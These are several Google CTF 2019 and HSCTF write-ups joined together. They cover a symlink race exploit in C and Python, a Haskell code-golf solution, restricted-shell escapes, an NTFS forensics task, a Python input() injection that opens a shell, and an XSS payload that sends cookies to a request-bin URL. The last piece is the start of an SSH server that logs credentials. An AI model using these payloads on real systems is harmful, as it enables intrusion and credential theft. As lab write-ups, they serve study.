The exploit uses two files in the build directory:* `f1` - a regular file.* `f2` - a symlink to the flag file. By repeatedly swapping `f1` and `f2`, there can be three outcomes:* `f1` -> `/home/user/flag` at the time of check. You'll get `Filenames must point to within the working directory, /home/user/builds/build-workdir-HoQhea/. Attempted to fetch file with absolute path /home/user/flag` error.* `f1` (regular file) at the both time of check and time of use. The fetch will return its contents.* `f1` (regular file) at the time of check, but `f1` -> `/home/user/flag` at the time of use. The check will pass, but fetch will return the contents of the flag.
`f2` file is not strictly necessary, as you can just repeatedly recreate `f1` file. However, in order to improve exploit efficiency, I used atomic replace (`renameat2(AT_FDCWD, "f1", AT_FDCWD, "f2", RENAME_EXCHANGE)`) to eliminate window where file is unavailable (which would crash the server). Although `renameat2` and `RENAME_EXCHANGE` are unavailable in glibc shipped with Ubuntu 16.04, the kernel has them, and can be easily reached with raw syscall interface.
The server still occasionally crashes when symlink becomes a file during `realpath`, though:```lstat("/home/user/builds/build-workdir-8Tm4rJ/f1", {st_mode=S_IFLNK|0777, st_size=15, ...}) = 0readlink("/home/user/builds/build-workdir-8Tm4rJ/f1", 0x7ffec1af4df0, 4095) = -1 EINVAL (Invalid argument)```
## Intended solution?
The intended solution for the first part was that admin binary was to run a suid helper that changed user to `admin`. You can call this binary from the build to elevate privileges to admin: `/home/user/drop_privs admin admin cat /home/user/flag`
The second part fixes the permission bits so you can no longer call this binary.
What I didn't mention and didn't use in my exploit is that the container rebuilded the admin panel binary every 30 seconds using the same server. The compilation command was slowed down, likely to enlarge some race condition window: `sleep 1; g++ --std=c++11 admin.cc -ftemplate-depth=1000000 -o admin; sleep 1`.
I can only speculate what the intended race condition was.
The sandbox users are protected with System V semaphores (one mutex per user). You won't get the same UID when build is in progress, which prevents you from rewriting build artifacts. However, the semaphore is released as soon as build completes, so you can try to get the same UID and rewrite the build artifacts before **Fetch** is run.
The window of opportunity is rather small, though, as build executor uses a busy loop with sleep instead of blocking. It'll take up to 10ms before it notices that the user has become free, which gives the admin builder process plenty of time to fetch the binary, and makes the race hard to exploit. I never tested this in practice, though.
```c// Linux doesn't offer a mechanism for waiting on multiple semaphores at once.// So, sadly, we busywait.// Returns the index of which semaphore was in fact decremented.size_t MultiDecrement(std::vector<IpcSemaphore>* sems, int count=1) { while(true) { for (size_t i = 0; i < sems->size(); ++i) { if ((*sems)[i].TryDecrement(count)) return i; } usleep(10000); // 10 ms }}```
## Exploit code
```c#define _GNU_SOURCE#include <stdio.h>#include <unistd.h>#include <fcntl.h>#include <stdio.h>#include <unistd.h>#include <sys/syscall.h>
#ifndef __NR_renameat2#define __NR_renameat2 316#endif
#ifndef RENAME_EXCHANGE#define RENAME_EXCHANGE (1<<1)#endif
#ifndef AT_FDCWD#define AT_FDCWD -100 #endif
int main() { const char *FILENAME1 = "f1"; const char *FILENAME2 = "f2";
{ FILE *f = fopen(FILENAME1, "w"); fputs("1", f); fclose(f); } symlink("/home/user/flag", FILENAME2);
puts("hi"); fflush(stdout);
alarm(5); // sanity time limit for (;;) { syscall(__NR_renameat2, AT_FDCWD, FILENAME1, AT_FDCWD, FILENAME2, RENAME_EXCHANGE); }
return 0;}```
```python#!/usr/bin/env python2
from __future__ import print_function
from pwn import *
import sysimport threadingimport timeimport io
def send_command(p, opcode, body): p.send(p32(opcode)) p.send(pack_string(body))
def pack_string(s): return p32(len(s)) + s
def send_build(p, ref_id, args, files): tmp = b"" tmp += p32(ref_id) tmp += p32(len(args)) for arg in args: tmp += pack_string(arg) tmp += p32(len(files)) for f in files: tmp += pack_string(f[0]) tmp += pack_string(f[1])
send_command(p, 3, tmp)
def send_fetch(p, ref_id, filename): send_command(p, 7, p32(ref_id) + p32(len(filename)) + filename)
def read_string(p): n = u32(p.read(4)) return p.read(n)
def reader(): while True: opcode = u32(p.read(4)) body_len = u32(p.read(4)) body = p.read(body_len)
if opcode == 1: ref_id = u32(body[0:4]) n = u32(body[4:8]) s = body[8:8+n] print("stdout=%r" % s, file=sys.stderr)
got_stdout.set()
elif opcode == 8: b = io.BytesIO(body)
ref_id = u32(b.read(4)) filename = read_string(b) contents = read_string(b) print("fetched file=%r contents=%r" % (filename, contents), file=sys.stderr) else: print("opcode=%d body=%r" % (opcode, body), file=sys.stderr)
command = "gcc main.c && ./a.out" got_stdout = threading.Event()
with remote("127.0.0.1", 1337) as p:#with remote("devmaster.ctfcompetition.com", 1337) as p:#with remote("devmaster-8001.ctfcompetition.com", 1337) as p: t = threading.Thread(target=reader) t.start()
time.sleep(5)
send_build(p, 0, ["sh", "-c", command], [("main.c", open("main2.c").read())])
got_stdout.wait() for _ in xrange(1000): send_fetch(p, 0, "f1") time.sleep(0.1)
t.join()``` |
# Description
```flagrom406Solves: 6 ▼This 8051 board has a SecureEEPROM installed. It's obvious the flag is stored there. Go and get it.nc flagrom.ctfcompetition.com 1337https://storage.googleapis.com/gctf-2019-attachments/72914daead2b040feb608d391c12083b230bdfef42a6f7ffbbec5b45bf3ee029``` |
# Code GolfPart of the Google CTF 2019 (https://capturetheflag.withgoogle.com/)
Our task is to write a Haskell function `g :: [String] -> String` which takes a list of transparencies, i.e., Strings with characters and spaces and we have to stack them in such a way that no two characters overlap.
The maximum allowed length of the program (excluding imports) is 181 bytes.
These are the rules from the dask description:```For example, given the strings "ha m" and "ck e":
If you overlay them: "ha m" "ck e"
Shift them by an appropriate offset: "ha m" "ck e"
And combine them, you get "hackme".
For the data we're working with, the following rules seem to always hold:
1. The correct offset will never cause two characters to occupy the same column.2. The correct offset will minimize the length of the final text after trimming leading and trailing spaces.3. If there are multiple possible decryptions that follow the above rules, the lexicographically first one is correct.
To make matters worse, we only have a limited number of bytes in our payload:your solution may contain at most 181 bytes of Haskell code.```We have the following modules which are already imported, meaning the import is not part of the character limit.```PreludeControl.ApplicativeControl.ArrowControl.MonadData.ArrayData.BitsData.BoolData.CharData.ComplexData.DynamicData.EitherData.EqData.FixedData.FunctionData.GraphData.IntData.IxData.ListData.MaybeData.MonoidData.OrdData.RatioData.TreeData.TupleData.TypeableData.WordDebug.SimpleReflectText.PrintfShowFun```
## "Uncompressed" solution```import Data.List
-- Check if two strings can be merged-- zip stops at the end of shorter string which is fine since the rest of the longer string can obviously be mergedcanMerge :: String -> String -> BoolcanMerge x = all (\(x,y) -> x==' ' || y==' ') . zip x
-- Take two transparencies and overlay them (assumes no two characters overlap)merge :: String -> String -> Stringmerge [] y = ymerge x [] = xmerge (x:xs) (y:ys) = (if x == ' ' then y else x):(merge xs ys)
-- strip (since Data.Text is not imported)-- this is necessary in case we get e.g. "zz " and "aa" as input, since otherwise-- "zzaa" would be preferred because it is shorter than "aazz " although the-- latter would result in "aazz" with the same length and being first in-- lexicographical orderstrip :: String -> Stringstrip = stripL . stripRstripL :: String -> StringstripL = dropWhile (==' ')stripR :: String -> StringstripR = reverse . stripL . reverse
-- move each string to be inserted space by space to the right until it can be-- merged, insert as far left as possibleshiftAndMerge :: [String] -> StringshiftAndMerge = foldl (\r -> merge r . until (canMerge r) (' ':)) ""
-- the g function works as follows-- 1. strip the input strings-- 2. take all permutations of the input strings and for each one, beginning with-- an empty string, insert every transparency in that order as far left as-- possible-- 3. sort in lexicographical order-- 4. (stable) sort by length, if two strings have the same length they are still-- sorted in lexicographical order from before-- 5. return the first stringg :: [String] -> Stringg = head . sortOn length . sort . map shiftAndMerge . permutations```
Not that Data.List is manually imported here so the script can easily be run on my local machine, however, it is not counted when determining the program length.
### Shortening `canMerge`Starting with the uncompressed function:```-- Check if two strings can be merged-- zip stops at the end of shorter string which is fine since the rest of the longer string can obviously be mergedcanMerge :: String -> String -> BoolcanMerge x = all (\(x,y) -> x==' ' || y==' ') . zip x```Removing all comments, the signature and unnecessary whitespaces brings the function down to `44` bytes:```canMerge x=all(\(x,y)->x==' '||y==' ').zip x```Replacing the two comparisons with an elem call saves one additional byte (`43` bytes). Note that the whitespace after `elem` can not be removed.```canMerge x=all(\(x,y)->elem ' '[x,y]).zip x```We can save another `7` bytes (plus `7` bytes for the call to `canMerge`) bringing it down to `36` bytes by giving it a shorter name, however, the function will be turned into a lambda function later anyways.```c x=all(\(x,y)->elem ' '[x,y]).zip x```
### Shortening `merge`Starting with the uncompressed function:```-- Take two transparencies and overlay them (assumes no two characters overlap)merge :: String -> String -> Stringmerge [] y = ymerge x [] = xmerge (x:xs) (y:ys) = (if x == ' ' then y else x):(merge xs ys)```As before, we start by simply removing "unnecessary stuff" and begin with `79` bytes, including two newlines:```merge[]y=ymerge x[]=xmerge(x:xs)(y:ys)=(if x==' 'then y else x):(merge xs ys)```We can remove the first two patterns by matching `merge x y` at the end, we will only get there if one of the strings is empty since otherwise the third pattern would be matched. We can simply concatenate `x` and `y` since the one of the strings is empty anyways, so the order does not matter. This brings it down to `71` bytes:```merge(x:xs)(y:ys)=(if x==' 'then y else x):(merge xs ys)merge x y=x++y```The `if-then-else` can be replaced with a list built with list comprehension and a call to `last`. If `x==' '` is true, `y` will be added to the list and thus selected as the last element, otherwise the list contains only `x`. This saves `5` bytes bringing the function to `66` bytes.```merge(x:xs)(y:ys)=(last$x:[y|x==' ']):(merge xs ys)merge x y=x++y```Obviously, another `12` bytes (plus `4` for the call to `merge`) can be saved by renaming the function (`54` bytes).```m(x:xs)(y:ys)=(last$x:[y|x==' ']):(m xs ys)m x y=x++y````xs` and `ys` can be renamed to `a` and `b`, saving `4` bytes (`50` bytes):```m(x:a)(y:b)=(last$x:[y|x==' ']):(m a b)m x y=x++y```We will apply further "optimizations" later when looking at the whole program.### Shortening `strip`Starting with the uncompressed function:```-- strip (since Data.Text is not imported)-- this is necessary in case we get e.g. "zz " and "aa" as input, since otherwise "zzaa" would be preferred because it is shorter than "aazz " although the latter would result in "aazz" with the same length and being first in lexicographical orderstrip :: String -> Stringstrip = stripL . stripRstripL :: String -> StringstripL = dropWhile (==' ')stripR :: String -> StringstripR = reverse . stripL . reverse```By removing unnecessary stuff, renaming the functions to `s`,`t` and `u` and renaming `xs` to `x` we start with `44` bytes (`4` bytes are saved for the call to `strip`):```s=t.ut=dropWhile(==' ')u=reverse.t.reverse```Since we never need to use `stripL` and `stripR` separately, we can remove `u` (which was `stripR`) and instead replace `s` with `t.reverse.t.reverse` (saving `4` bytes => `40` bytes)```s=t.reverse.t.reverset=dropWhile(==' ')```Again, we will apply further optimizations later when looking at the whole program.### Shortening `shiftAndMerge`Since we renamed a few functions already the inital function looks different than in the first listing:```-- move each string to be inserted space by space to the right until it can be merged, insert as soon as possibleshiftAndMerge :: [String] -> StringshiftAndMerge = foldl (\r -> m r . until (c r) (' ':)) ""```Again, we remove unnecessary stuff and rename the function to `v`, which gives us `35` bytes:```v=foldl(\r->m r.until(c r)(' ':))""```We can save `1` byte by replacing `foldl` and the initial value `""` with `foldl1` which takes the first list element as initial value. However this means we can no longer work on empty lists (resulting in an error), but this case is not checked when submitting (`34` bytes):```v=foldl1(\r->m r.until(c r)(' ':))```Again, more optimizations will follow when looking at the complete program.### Shortening `g`The original:```g :: [String] -> Stringg = head . sortOn length . sort . map v . permutations . map s```can be shortened to start with `50` bytes:```g=head.sortOn length.sort.map v.permutations.map s```We can replace `length` with `0<$`, which replaces all elements in the list with a `0`. This still works, since a shorter list with `0` is considered to be less than a longer list with `0`, i.e., `[0] < [0,0]`. This saves `2` bytes (`48` bytes):```g=head.sortOn(0<$).sort.map v.permutations.map s```## Shortening the whole the programAfter combining everything we did earlier we end up with a program which is `212` bytes in size (reminder: the goal is at most `181` bytes). The values from the previous sections do not add up because we need to consider additional newlines now.
The changes we apply in this section were ignored before since they change multiple functions at once.
The current program is:```c x=all(\(x,y)->elem ' '[x,y]).zip xm(x:a)(y:b)=(last$x:[y|x==' ']):(m a b)m x y=x++ys=t.reverse.t.reverset=dropWhile(==' ')v=foldl1(\r->m r.until(c r)(' ':))g=head.sortOn(0<$).sort.map v.permutations.map s```We can turn `c` and `v` into lambda functions, saving `8` and `3` bytes respectively (`201` bytes):```m(x:a)(y:b)=(last$x:[y|x==' ']):(m a b)m x y=x++ys=t.reverse.t.reverset=dropWhile(==' ')g=head.sortOn(0<$).sort.map(foldl1(\r->m r.until(all(\(x,y)->elem ' '[x,y]).zip r)(' ':))).permutations.map s```Instead of defining `s=t.reverse.t.reverse`, which wastes a lot of bytes due to having `reverse` twice, we define `s=t.reverse` and replace the call to `s` with `s.s`.
This saves `10` bytes in the definition but costs `3` bytes when calling `(s.s)` since we need the parantheses, meaning we end up at `194` bytes:```m(x:a)(y:b)=(last$x:[y|x==' ']):(m a b)m x y=x++ys=t.reverset=dropWhile(==' ')g=head.sortOn(0<$).sort.map(foldl1(\r->m r.until(all(\(x,y)->elem ' '[x,y]).zip r)(' ':))).permutations.map(s.s)```We now also no longer need the definition of `t` and can move it directly to the definition of `s`, saving `4` bytes (`190` bytes):```m(x:a)(y:b)=(last$x:[y|x==' ']):(m a b)m x y=x++ys=dropWhile(==' ').reverseg=head.sortOn(0<$).sort.map(foldl1(\r->m r.until(all(\(x,y)->elem ' '[x,y]).zip r)(' ':))).permutations.map(s.s)```The function `m` can be turned into an inline operator named `!`, saving `4` bytes due to removing spaces in the definition, but costing `1` byte because the call to `m r` becomes `(!r)` (`187` bytes):```(x:a)!(y:b)=(last$x:[y|x==' ']):(a!b)x!y=x++ys=dropWhile(==' ').reverseg=head.sortOn(0<$).sort.map(foldl1(\r->(!r).until(all(\(x,y)->elem ' '[x,y]).zip r)(' ':))).permutations.map(s.s)```The space character `' '` is used four times and costs `3` bytes each. Since none of the occurrences are in a pattern, we can introduce a variable `w=' '` which costs `6` bytes including the newline, but each of the occurrences now only costs `1` byte, saving `2` bytes overall (`185` bytes):```w=' '(x:a)!(y:b)=(last$x:[y|x==w]):(a!b)x!y=x++ys=dropWhile(==w).reverseg=head.sortOn(0<$).sort.map(foldl1(\r->(!r).until(all(\(x,y)->elem w[x,y]).zip r)(w:))).permutations.map(s.s)```## Final Solution (`151` bytes)At this point we were stuck four bytes short of the goal. However, as it turned out the checker service does not actually supply strings with leading or trailing spaces (woopsie `¯\_(ツ)_/¯`), so we can throw the whole stripping logic away saving `34` bytes at once (note that we also replace `w` with `' '` again, which ends up being +/-`0` bytes, but looks nicer) for a total of `151` bytes:```(x:a)!(y:b)=(last$x:[y|x==' ']):(a!b)x!y=x++yg=head.sortOn(0<$).sort.map(foldl1(\r->(!r).until(all(\(x,y)->elem ' '[x,y]).zip r)(' ':))).permutations```
This yields the flag `CTF{since-brevity-is-the-soul-of-wit-I-will-be-brief}` when submitted. Yay!
It should however be noted that the solution does not yield correct results when called with e.g. `["z ","a"]` and it crashes when called with `[]`. The shortest solution we have that covers all edge cases is `186` bytes in length (since we need to replace `foldl1` with `foldl` and `""` again). If you have any idea how to get rid of the remaining `5` bytes, please let me know.```w=' '(x:a)!(y:b)=(last$x:[y|x==w]):(a!b)x!y=x++yu=reverse.dropWhile(==w)g=head.sortOn(0<$).sort.map(foldl(\r->(!r).until(all(\(x,y)->elem w[x,y]).zip r)(w:))"").permutations.map(u.u)```
## Update (2019-06-26)As pointed out by @mcpower in [their writeup](https://github.com/mcpower/ctf-writeups/blob/master/2019-gctf-code-golf.md) and in [issue #1](https://github.com/ldruschk/ctf-writeups/issues/1), our solution fails to handle yet another special case, namely e.g. `["a a","b"]`, which should yield `"a ba"` according to the rules but yields `"ab a"` with our solution.
But they also came up with a better variant of the `!` function, which simply returns `max` of the first two inputs. This works since any printable character will always be greater than `' '`. Similarly, they also managed to shorten our `all(\(x,y)->elem w[x,y]).zip r` even further. This brings the "wrong" and "somewhat right" solutions down to `132` bytes and `168` bytes respectively.
However, while one would expect the "somewhat right" solution to be accepted as well (since even the "wrong" solution was accepted), the only difference being the stripping of leading/trailing spaces which the second rule requires, it actually causes the checker to fail.
@mcpower also tested whether the strings should be trimmed when determining the length and ordering them but not when returning them, but this failed as well.
At this point it's probably best to wait for Google to release the source code of the checker, as has been done for their CTFs in the past, but the second rule seems to be either misleading or there is something wrong with the checker.
## AcknowledgementsThanks to the authors of all the useful replies in this StackExchange thread: https://codegolf.stackexchange.com/questions/19255/tips-for-golfing-in-haskell |

# Main Flag
The challenge starts by providing us with a command prompt. However, is immediately apparent that commands are missing and you're unable to `cat` out files.
Listing out `/usr/bin` or `/bin` (where system binaries are stored) allows us to view what we can execute.
Using this information alongside the beautiful website . I am able to search for binaries that allow us to read a file.
After a little trial and error I come across the command `fold` that is used to wrap text to fit a specified width.
This, however, allows us to read local files! Taking the code snippet from `gtfobins`
```LFILE=file_to_readfold -w99999999 "$LFILE"```
We're able to print the `READEME.flag` to get the first flag (`-w` is just to specify the character width)
```bashfold -w 1000 README.flag```
FLAG:```CTF{4ll_D474_5h4ll_B3_Fr33}```
# Bonus Flag
Alongside the previous flag there is another flag called `ORME.flag`, however it has 000 permissions (I.e. nobody can read or write it). We do, however, own the file so we can change the permissions using `chmod`.
The 000 permissions are shown bellow:```---------- 1 1338 1338 33 Jun 23 17:20 ORME.flag```
This would all well and good if the `chmod` binary was present on the machine, it is not so we need to find another way.
On the machine all the binaries are being linked to `busybox`. This is a binary designed to house all required binaries in a convenient bundle. This is our target as it will have the required `chmod` baked in!
However, attempting to run it gives us:
```busybox can not be called for alien reasons.```
We're, again, going to have to find another way.
After attempts to change the name of the binary with `install` and other ineffective methods I finally found what I've been looking for. A binary called `run-parts`.
`run-parts` is used to execute all scripts in a directory, this means we can run `busybox` without it being filtered!
For ease of output I made a copy of the `busybox` binary in the `/tmp` directory using `install`:
```install /bin/busybox /tmp```
This allows me to only run that script instead of all of the binaries in `busybox`'s home `/bin`
Then running the command:
```run-parts /tmp"```
Gives us the output:
```BusyBox v1.29.3 (2019-01-24 07:45:07 UTC) multi-call binary.BusyBox is copyrighted by many authors between 1998-2015.Licensed under GPLv2. See source distribution for detailedcopyright notices.
Usage: busybox [function [arguments]...] or: busybox --list[-full] or: busybox --install [-s] [DIR] or: function [arguments]...
BusyBox is a multi-call binary that combines many common Unix utilities into a single executable. Most people will create a link to busybox for each function they wish to use and BusyBox will act like whatever it was invoked as.
Currently defined functions: [, [[, acpid, add-shell, addgroup, adduser, adjtimex, arch, arp, arping, ash, awk, base64, basename, bbconfig, beep, blkdiscard, blkid, blockdev, brctl, bunzip2, bzcat, bzip2, cal, cat, chgrp, chmod, chown, chpasswd, chroot, chvt, cksum, clear, cmp, comm, conspy, cp, cpio, crond, crontab, cryptpw, cut, date, dc, dd, deallocvt, delgroup, deluser, depmod, df, diff, dirname, dmesg, dnsdomainname, dos2unix, du, dumpkmap, dumpleases, echo, ed, egrep, eject, env, ether-wake, expand, expr, factor, fallocate, false, fatattr, fbset, fbsplash, fdflush, fdformat, fdisk, fgrep, find, findfs, flock, fold, free, fsck, fstrim, fsync, fuser, getopt, getty, grep, groups, gunzip, gzip, halt, hd, hdparm, head, hexdump, hostid, hostname, hwclock, id, ifconfig, ifdown, ifenslave, ifup, init, inotifyd, insmod, install, ionice, iostat, ip, ipaddr, ipcalc, ipcrm, ipcs, iplink, ipneigh, iproute, iprule, iptunnel, kbd_mode, kill, killall, killall5, klogd, less, link, linux32, linux64, ln, loadfont, loadkmap, logger, login, logread, losetup, ls, lsmod, lsof, lspci, lsusb, lzcat, lzma, lzop, lzopcat, makemime, md5sum, mdev, mesg, microcom, mkdir, mkdosfs, mkfifo, mkfs.vfat, mknod, mkpasswd, mkswap, mktemp, modinfo, modprobe, more, mount, mountpoint, mpstat, mv, nameif, nanddump, nandwrite, nbd-client, nc, netstat, nice, nl, nmeter, nohup, nologin, nproc, nsenter, nslookup, ntpd, od, openvt, partprobe, passwd, paste, patch, pgrep, pidof, ping, ping6, pipe_progress, pkill, pmap, poweroff, powertop, printenv, printf, ps, pscan, pstree, pwd, pwdx, raidautorun, rdate, rdev, readahead, readlink, readprofile, realpath, reboot, reformime, remove-shell, renice, reset, resize, rev, rfkill, rm, rmdir, rmmod, route, run-parts, sed, sendmail, seq, setconsole, setfont, setkeycodes, setlogcons, setpriv, setserial, setsid, sh, sha1sum, sha256sum, sha3sum, sha512sum, showkey, shred, shuf, slattach, sleep, smemcap, sort, split, stat, strings, stty, su, sum, swapoff, swapon, switch_root, sync, sysctl, syslogd, tac, tail, tar, tee, test, time, timeout, top, touch, tr, traceroute, traceroute6, true, truncate, tty, ttysize, tunctl, udhcpc, udhcpc6, umount, uname, unexpand, uniq, unix2dos, unlink, unlzma, unlzop, unshare, unxz, unzip, uptime, usleep, uudecode, uuencode, vconfig, vi, vlock, volname, watch, watchdog, wc, wget, which, whoami, whois, xargs, xxd, xzcat, yes, zcat```
This means busybox has been sucessfully run!
Using this alongside the `--arg` parameter of `run-parts` we can spawn an actual shell that will have zero restrictions.
Running:```run-parts /tmp --arg sh```Spawns us a shell that allows us to run `busybox`
This lets us run (777 Means everyone can read, write and execute the file. The most open permission you can apply to a file)```busybox chmod 777 /challenge/ORME.flag```
We can now retrieve the flag with:
```busybox cat /challenge/ORME.flag```
FLAG:```CTF{Th3r3_1s_4lw4y5_4N07h3r_W4y}```
# Alternative Solutions
With a challenge like this with the huge number of different binaries and all their sub-options there is bound to be more than one way to complete the challenge. Here I will document any other solutions and their authors, so please if you have a working solution that is not listed here please contact me and I'll add it to the README.
## Alternative Main Solutions
### tarCredit: [madushan1000](https://github.com/madushan1000)
`tar` can be used to print out the flag as it is being compressed into a archive.
Running: ```tar cvf - README.flag```
Will produce the output:```README.flag0000400000247200024720000000003413504135746010423 0ustar 13381338README.flagCTF{4ll_D474_5h4ll_B3_Fr33}```
### iconvCredit: [TheSeanis](https://github.com/TheSeanis), [ArtificialAmateur](https://github.com/ArtificialAmateur)
`iconv` can also be used to print the conetents of a file. `iconv` is used to convert the encoding of text.
Running just:```iconv README.flag```
I really like this solution as it's the cleanest one I've seen so far.
## Alternative Bonus Solutions
### upxCredit: [madushan1000](https://github.com/madushan1000)
On the machine is the binay `upx`. This is used to pack binaries, however this can be used to pack `busybox` into a frakenstien `chmod` binary that will allow us to change the permissions of the `ORME.flag`.
Running:```upx -ochmod /bin/busybox```
Will create us a file called `chmod` that when executed can be used like the official tool.
Same as above running:
```./chmod 777 ORME.flag```
Will change the permissions and allow us to view the file! |

We're initially provided with a `.ntfs` volume called `family.ntfs`.
Mounting the volume can be achived like so:
```sudo mount family.ntfs /mnt```This will position the file at the `/mnt` file path and gives us the ability to explore the filesystem.
On initial inspection the operating system present on the drive is Windows based. Alongside this, lots of the files on the system are empty. This explains the tiny `25mb` size.
In the `/Users/Family/Documents` path is a text file containing:
```I keep pictures of my credentials in extended attributes.```
With my experience I know this is a well known technique for 'hiding' information is a special type of file metadata. This is called the [Extended Attributes](https://en.wikipedia.org/wiki/Extended_file_attributes).
Any hidden attributes can be detected using the tool `getfattr`. Running it on the `credentials.txt` reveals a hidden attribute
```# file: credentials.txtuser.FILE0```
Reading through the man page of the `getfattr` tool gives the the command line option:
``` --only-values Dump out the raw extended attribute value(s) without encoding them.```
This therefore, lets us retrieve the data.
Pipping it into a file like so:
```getfattr --only-values credentials.txt > flag.png```
Gives us the image:

FLAG:```CTF{congratsyoufoundmycreds}``` |
# Description
```Reverse a cellular automata - 97Solves: 128 ▼
It's hard to reverse a step in a cellular automata, but solvable if done right.https://cellularautomata.web.ctfcompetition.com/Submit the flag for this taskCTF{...}
```# Instructions
```Reverse Cellular AutomataChallengeWe have built a cellular automata with 64 bit steps and obeys Wolfram rule 126, it's boundary condition wraps around so that the last bit is a neighbor of the first bit. Below you can find a special step we chose from the automata.
The flag is encrypted with AES256-CBC, the encryption key is the previous step that generates the given step. Your task is to reverse the given step and find the encryption key.
Example decryption with 32 bit steps:
echo "404c368b" > /tmp/plain.key; xxd -r -p /tmp/plain.key > /tmp/enc.key
echo "U2FsdGVkX18+Wl0awCH/gWgLGZC4NiCkrlpesuuX8E70tX8t/TAarSEHTnpY/C1D" | openssl enc -d -aes-256-cbc -pbkdf2 -md sha1 -base64 --pass file:/tmp/enc.key
Examples of 32 bit steps, reverse_rule126 in the example yields only one of the multiple values.rule126('deadbeef') = 73ffe3b8 | reverse_rule126('73ffe3b8') = deadbeef
rule126('73ffe3b8') = de0036ec | reverse_rule126('de0036ec') = 73ffe3b8
rule126('de0036ec') = f3007fbf | reverse_rule126('f3007fbf') = de0036ec
Flag (base64)U2FsdGVkX1/andRK+WVfKqJILMVdx/69xjAzW4KUqsjr98GqzFR793lfNHrw1Blc8UZHWOBrRhtLx3SM38R1MpRegLTHgHzf0EAa3oUeWcQ=
Obtained step (in hex)66de3c1bf87fdfcf``` |
# A Simple Conversation
```Someone on the internet wants to talk to you. Can you find out what they want?
nc misc.hsctf.com 9001```
(File(s): attachments/talk.py)
We're talking to a Python script listening on a port of a server. A typical conversation would look like this:
```$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> 18Wow!Sometimes I wish I was 18Well, it was nice meeting you, 18-year-old.Goodbye!```
Let's see what happens when we enter a non-numeric input.
```$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> abcTraceback (most recent call last): File "talk.py", line 18, in <module> age = input("> ") File "<string>", line 1, in <module>NameError: name 'abc' is not defined```
Looks like we've found a code injection vulnerability in the script. Let's verify this code injection vulnerability by trying to list the variables in the program.
```$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> vars()Wow!Sometimes I wish I was {'__builtins__': <module '__builtin__' (built-in)>, '__file__': 'talk.py', '__package__': None, 'age': {...}, 'sleep': <built-in function sleep>, '__name__': '__main__', '__doc__': None}Well, it was nice meeting you, {'__builtins__': <module '__builtin__' (built-in)>, '__file__': 'talk.py', '__package__': None, 'age': {...}, 'sleep': <built-in function sleep>, '__name__': '__main__', '__doc__': None}-year-old.Goodbye!```
Awesome. Looks like we've found the solution. Let's spawn a shell.
```$ nc misc.hsctf.com 9001Hello!Hey, can you help me out real quick.I need to know your age.What's your age?> __import__("os").system("sh") lsbinbootdevetcflag.txthomeliblib64mediamntoptprocrootrunsbinsrvsystalk.pytmpusrvarcat flag.txthsctf{plz_u5e_pyth0n_3}``` |

We're initially provided with a webpage including a cauliflower video and a chat system.

With the name of the challenge as a hint, we may be tasked with stealing cookies. This suggests XSS (Cross Site Scripting) will be involved.
The first thing to try is classic XSS payload:
```html<script> alert('xss')</script>```This will display a pop-up with the text `XSS` if the website is vulnerable.
This, however, gets filtered out by the system:

We're going to have to be clever about this.
Using the [OWASP XSS Cheat sheet](https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet). We can try and circumvent the check.
After some trial and error we come across the payload:
```html```
When executed it is decoded as:```html```
Writing a quick python script to encode this gives us the ability to make custom XSS exploits that will pass the filter.
To steal the cookie, we're going to use a "request bin" this will absorb and record all values sent to it.
Using the link to the newly initialized request bin, we can form the payload:```javascriptjavascript:document.location='https://postb.in/1561312937795-3777385130524?cookie='+document.cookie;```This will take all the values stored in cookies and send them to the url. This will allows us to view the values of all cookies.
And when encoded gives us this unit:```html```
That when entered will re-direct your own page as well as the admins.
This will provide this output in the request bin

Thus, giving us the flag!
FLAG:```CTF{3mbr4c3_the_c00k1e_w0r1d_ord3r}``` |
# Google CTF 2019 - Bob Needs a File
## Poking around
The description of the challenge is the following:
~~~It's like Google Drive, but better, maybe.
nc sc00p.ctfcompetition.com 1337~~~
OK, so let's start by seeing what this `netcat` connection tells us:
~~~$ nc sc00p.ctfcompetition.com 1337
Hi Alice,
Put in your ip address here and I'll pull the file from you on our usual ssh port and execute my job to call you back with the results.
Thanks,Bob~~~
Right. Sounds pretty straight-forward. Bob will ask us for a file at the IP we provide "on their usual ssh port", which we don't know, and then will execute some job with that file. At this point I was already guessing that the challenge would focus on either:
- a) returning a malicious file and exploit the "job" (whatever it was) to get the flag- or b) exploiting an SSH client vulnerability (some of which I remembered were disclosed recently)
But first things first, let's discover at what port Bob is trying to connect to us.
~~~$ sudo tcpdump -nn -i eth0 'port not 443 and port not 80 and port not 22 and tcp'tcpdump: verbose output suppressed, use -v or -vv for full protocol decodelistening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
13:29:42.321607 IP 35.195.214.46.57194 > REDACTED.2222: Flags [S], seq 3225036092, win 28400, options [mss 1420,nop,nop,TS val 1286463866 ecr 0,nop,wscale 7], length 013:29:43.344451 IP 35.195.214.46.57194 > REDACTED.2222: Flags [S], seq 3225036092, win 28400, options [mss 1420,nop,nop,TS val 1286464889 ecr 0,nop,wscale 7], length 013:29:45.356523 IP 35.195.214.46.57194 > REDACTED.2222: Flags [S], seq 3225036092, win 28400, options [mss 1420,nop,nop,TS val 1286466901 ecr 0,nop,wscale 7], length 0~~~
Great, he's using the 2222 port. Since he mentions the "ssh port" and he's requesting a file, we immediately thought of SFTP. After considering some options, we decided using [`paramiko`](https://www.paramiko.org/), a cool Python implementation of the SSH protocol. Luckily, `paramiko` offers some demos which we can modify to suit our needs instead of writing something from scratch. The [`demo_server.py`](https://github.com/paramiko/paramiko/blob/master/demos/demo_server.py) script seemed like a good starting point.
## Playing with paramiko
I still had in mind that the file requested by Bob needed to be crafted to exploit his job, but at this point I thought that maybe the whole thing was easier, and the flag could be the credentials sent by Bob to authenticate in the SSH server. So we modified the `demo_server` to:
- Listen on port 2222
~~~pythonsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)sock.bind(("", 2222))~~~
- Print out the provided username and password (if this is the method used to authenticate) and always authenticate correctly regardless of credentials
~~~pythondef check_auth_password(self, username, password): print(username,password) return paramiko.AUTH_SUCCESSFUL~~~
- Print out whatever the client sends to the server after authentication
~~~python"""server.event.wait(10)if not server.event.is_set(): print("*** Client never asked for a shell.") sys.exit(1)"""
# ...
